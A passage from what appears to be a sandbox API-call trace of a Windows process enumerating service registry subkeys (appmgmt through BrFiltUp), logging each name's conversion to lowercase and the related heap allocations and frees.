dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x1de4a80, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0260.821] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.821] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.821] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.821] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.821] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x1e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="arc") returned 0x0 [0260.821] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0260.821] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x1de4408, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0260.821] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.821] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.821] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.821] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.821] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x1f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0260.821] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.821] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x1de4a80, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0260.821] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.821] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.821] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.821] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.821] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x20, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0260.821] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.821] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x1de4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0260.821] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.821] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.822] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.822] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.822] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x21, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0260.822] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0260.822] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x1de4a80, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0260.822] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.822] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.822] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.822] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.822] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x22, lpName=0x1dd29e0, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0260.822] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0260.822] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x1de4408, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0260.822] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.822] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.822] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.822] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.822] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x23, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0260.822] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.822] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x1de4a80, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0260.822] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.822] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.822] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.822] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.822] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x24, lpName=0x1dd29e0, cchName=0x104 | out: lpName="atapi") returned 0x0 [0260.822] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0260.823] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x1de4408, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0260.823] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.823] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.823] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.823] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.823] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x25, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0260.823] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0260.823] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x1de4a80, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0260.823] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.823] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.823] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.823] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.823] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x26, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0260.823] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.823] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0260.823] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.823] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.823] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.823] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.823] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x27, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0260.823] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.823] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x1de4a80, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0260.823] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.823] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.823] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.824] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.824] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x28, lpName=0x1dd29e0, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0260.824] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.824] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x1de4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0260.824] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.824] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.824] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.824] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.824] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x29, lpName=0x1dd29e0, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0260.824] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.824] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x1de4a80, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0260.824] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.824] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.824] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.824] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.824] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x2a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BattC") returned 0x0 [0260.824] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0260.824] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x1de4408, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0260.824] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.824] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.824] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.824] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.824] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x2b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0260.824] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.824] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x1de4a80, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0260.824] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.825] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.825] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.825] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.825] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x2c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Beep") returned 0x0 [0260.825] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0260.825] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x1de4408, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0260.825] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.825] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.825] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.825] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.825] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x2d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BFE") returned 0x0 [0260.825] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0260.825] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x1de4a80, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0260.825] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.825] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.825] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.825] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.825] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x2e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BITS") returned 0x0 [0260.825] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0260.825] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x1de4408, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0260.825] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.825] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.825] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.825] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.825] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x2f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0260.826] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.826] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x1de4a80, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0260.826] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.826] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.826] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.826] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.826] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x30, lpName=0x1dd29e0, cchName=0x104 | out: lpName="bowser") returned 0x0 [0260.826] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.826] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x1de4408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0260.826] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.826] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.826] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.826] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.826] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x31, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0260.826] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.826] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x1de4a80, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0260.826] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.826] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.826] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.826] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.826] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x32, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0260.826] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 